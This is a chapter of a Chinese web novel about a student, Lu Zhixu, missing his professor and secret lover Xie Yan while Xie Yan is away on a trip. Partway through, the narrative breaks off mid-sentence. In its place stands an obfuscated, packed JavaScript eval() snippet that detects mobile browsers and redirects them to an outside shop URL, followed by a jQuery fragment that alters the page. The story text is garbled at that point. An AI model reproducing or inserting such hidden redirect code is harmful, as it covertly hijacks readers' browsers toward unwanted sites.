周五的校园似乎比平时空旷了一些。
陆知许抱着课本走在去图书馆的路上,秋风吹过,卷起几片金黄的银杏叶。他习惯性地抬起头,看向教师办公楼的方向——五楼那扇窗户紧闭着,窗帘拉得严严实实。
谢砚不在。
这个认知让陆知许心里空落落的。
他低头看了看手机,屏幕上还是昨晚和谢砚的聊天记录。最后一条是他发的“晚安,谢砚”,谢砚没有回复——应该是太累了,直接睡了吧。
陆知许把手机收起来,深吸一口气,继续往前走。
---
图书馆四楼,古典文献区。
陆知许在熟悉的位置坐下,摊开书本和笔记本。今天他打算写谢砚布置的那篇关于《诗经》思念主题的论文,但他发现自己完全无法集中注意力。
笔尖在纸面上悬了很久,最后只写下一行字:
“一日不见,如三秋兮。”
他看着这行字,苦笑了一下。
何止三秋。
分开才一天,他已经觉得像过了三个秋天那么漫长。
陆知许放下笔,从书包里拿出一个透明文件袋——里面装着几样东西:那枚钢笔笔帽,一片干枯的银杏叶,还有一张折得很小的纸条。
他把笔帽握在手心,金属的凉意透过皮肤传来。
这是谢砚的笔帽。
是他和谢砚的“初遇”中,唯一留下的实物证据。
陆知许的指尖轻轻摩挲着笔帽上的刻字:
To Y.Xie, Cambridge, 2019.
Y.Xie。
谢砚。
他的教授,他的恋人。
陆知许闭上眼睛,把笔帽贴在胸口,仿佛这样就能离谢砚近一点。
然后他打开那张小纸条——那是谢砚上周给他批改论文时,随手写在一张便签纸上的字。字迹很潦草,只有三个字:
“再想想。”
但陆知许把它小心地折好,保存了起来。
因为这是谢砚的字迹。
是谢砚写给他的字。
现在,这些零零碎碎的东西,成了他思念的载体。
像一座小小的桥梁,连接着相隔千里的两个人。
---
中午,陆知许还是去了食堂三楼。
他坐在靠窗的老位置,一个人吃着饭。今天的饭菜依然没什么味道,他吃得心不在焉,视线总是不自觉地飘向教师窗口——虽然知道谢砚不在那里,但他还是习惯性地寻找那个熟悉的身影。
然后他看见了林薇。
她今天和两个女同学一起,坐在离他不远的位置。她们在说笑,声音不大,但陆知许能隐约听见。
“林薇,你最近是不是经常去找谢教授啊?”一个女生问。
“对啊,”林薇的声音带着笑意,“我在写毕业论文,谢教授是我的指导老师。”
“哇,好羡慕!谢教授那么帅,还那么厉害……”
“而且人超级好,”林薇说,“特别耐心,我每次去问他问题,他都会很认真地回答。”
陆知许的手指收紧。
他不想听这些。
不想听别人谈论谢砚,尤其不想听林薇谈论谢砚。
“对了,”另一个女生压低声音,“我听说谢教授还是单身?真的假的?”
“应该是吧,”林薇说,“没听说过他有女朋友。”
“那你有没有机会啊?”第一个女生笑着问,“近水楼台先得月嘛!”
林薇笑了笑,没说话。
但那个笑容,在陆知许看来,充满了暗示性。
他猛地站起来,端着餐盘快步离开了食堂。
走到门口时,他听见身后传来林薇的声音:
“陆学弟,吃完了?”
陆知许没有回头,只是点了点头,然后快步离开了。
---
下午,陆知许去了那个地下室。
收藏柜还立在那里,在昏暗的灯光下泛着温润的光泽。陆知许打开玻璃门,把今天带来的几样东西放了进去——笔帽放回原位,银杏叶和纸条放进一个新的展示盒。
然后他退后两步,看着柜子里的藏品。
现在,这里面又多了一样东西:他对谢砚的思念。
无形的,但真实存在的思念。
陆知许在小椅子上坐下,拿出那个带锁的笔记本,翻开新的一页。
9月26日,周五,阴。
谢砚出差的第二天。
很想他。
吃饭的时候想他,走路的时候想他,看书的时候想他。
林薇又在谈论他,我听着很不舒服。
她好像很喜欢他,而且不介意让别人知道。
我在想,如果她知道我和谢砚的关系,会怎么做?
会祝福吗?还是……会破坏?
写到这里,陆知许停顿了一下。
笔尖在纸面上悬了很久,墨水慢慢汇聚,滴落,晕开一个小小的圆点。
他继续写:
我不敢想。
我只希望谢砚快点回来。
希望他能在我身边,这样我就不用一个人面对这些。
希望他能抱着我,告诉我别怕。
希望……
希望什么呢?
陆知许也不知道。
他只是希望,这一切都能顺利。
希望他和谢砚的关系,能一直这样下去。
希望没有人来打扰他们。
希望……
手机震动了一下,打断了他的思绪。
陆知许拿出来看,是谢砚的消息:
“在做什么?”
发送时间:15:32。
陆知许立刻回复:
“在地下室,整理收藏柜。”
发送。
很快,回复来了:
“想我了?”
很直白的问题。
陆知许的脸微微发热,但他还是诚实地回复:
“嗯。很想。”
发送。
这次,“对方正在输入”显示了很久。
最终,谢砚发来了一张照片。
照片是在酒店房间里拍的,窗外的天空灰蒙蒙的,看起来要下雨了。谢砚穿着酒店的白色浴袍,领口微微敞开,能看见清晰的锁骨线条。
而最引人注目的是,在谢砚的锁骨上方,陆知许留下的那个吻痕,依然清晰可见。
在照片的光线下,那个痕迹呈现出淡淡的紫红色,像一枚小小的印章,印在谢砚白皙的皮肤上。
照片下面,谢砚配了一行字:
“你的印记,还在。”
陆知许盯着那张照片看了很久。
他的指尖轻轻划过屏幕,仿佛能透过屏幕触摸到那个痕迹,触摸到谢砚的皮肤。
然后他打字:
“我也拍了照片。”
他打开相机,对着自己的脖子拍了一张——那两个并排的痕迹,在昏暗的地下室灯光下,显得格外清晰。
发送。
几秒后,谢砚回复:
“很好看。”
“都是我的。”
陆知许的心脏开始疯狂跳动。
他回复:
“您也是我的。”
发送。
然后他补充了一句:
“永远都是。”
发送完,陆知许把手机按在胸口,感觉到心脏在那里疯狂跳动。
窗外的天色渐渐暗了下来。
地下室很安静,只有他的呼吸声。
但陆知许不觉得孤单。
因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301351|198640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他知道,在千里之外的上海,有一个人也在想他。
有一个人也把他放在心里。
有一个人,是他的。
---
晚上,陆知许回到宿舍时,三个室友正在讨论周末的安排。
“老陆,明天周六,要不要一起去市区玩?”陈宇看见他进来,立刻问道。
陆知许愣了一下:“明天?”
“对啊,我们打算去看电影,然后吃火锅。”李锐说,“你也一起来吧,别老一个人闷着。”
陆知许犹豫了一下。
他本来打算明天一整天都待在地下室,整理收藏柜,写论文,或者……继续想念谢砚。
但现在室友主动邀请,他不太好拒绝。
“好吧,”他点点头,“几点?”
“上午十点出发,”张子轩说,“在宿舍集合。”
“好。”陆知许应了一声,拿起换洗衣服准备去洗澡。
“等等,”陈宇叫住他,“老陆,你那个……‘女朋友’,明天不来学校找你吧?”
陆知许的身体僵了一下。
“不来。”他小声说。
“哦,”陈宇点点头,“那正好,跟我们一起去玩。放松放松,别老想着学习。”
陆知许点点头,走进了浴室。
关上门,他靠在门板上,长长地吐出一口气。
明天要和室友出去玩。
这意味着,他一整天都不能和谢砚联系——至少不能频繁联系。
而且,他还要继续演戏,假装自己真的有个“外校女朋友”。
好累。
陆知许打开水龙头,温热的水冲在身上,稍微缓解了一些疲惫。
但他心里的思念,却像水蒸气一样,弥漫开来,充满了整个空间。
---
晚上十点,陆知许躺在床上,给谢砚发消息:
“教授,明天我要和室友去市区玩,可能不能及时回消息。”
发送。
很快,回复来了:
“玩得开心。”
很简单的四个字。
但陆知许看着,却觉得有些失落。
他以为谢砚会说“记得想我”,或者“注意安全”,或者……什么别的。
但谢砚只说了“玩得开心”。
好像……不太在意?
陆知许打字:
“您不会想我吗?”
发送。
这次,谢砚的回复来得很快:
“会。”
“但我不想束缚你。”
“你应该有自己的生活,有自己的朋友。”
陆知许盯着那几行字看了很久。
然后他打字:
“可我的生活里,不能没有您。”
发送。
几秒后,谢砚回复:
“我知道。”
“我也是。”
“所以,去玩吧。记得玩得开心,记得想我,记得回来。”
陆知许看着那三句话,眼睛开始发热。
他打字:
“我会的。”
“我会想您,每分每秒都想。”
“我会回来,回到您身边。”
发送。
然后他放下手机,把脸埋进枕头里。
枕头下,手机震动了一下。
但他没有立刻去看。
因为他知道,那一定是谢砚的回复。
而他需要一点时间来消化这份感动。
这份被理解、被尊重、被深爱着的感动。
窗外夜色深沉。
陆知许闭上眼睛,在心里默念:
明天。
再等一天。
后天,谢砚就回来了。
这个念头支撑着他,像黑夜里的星光,照亮了前路。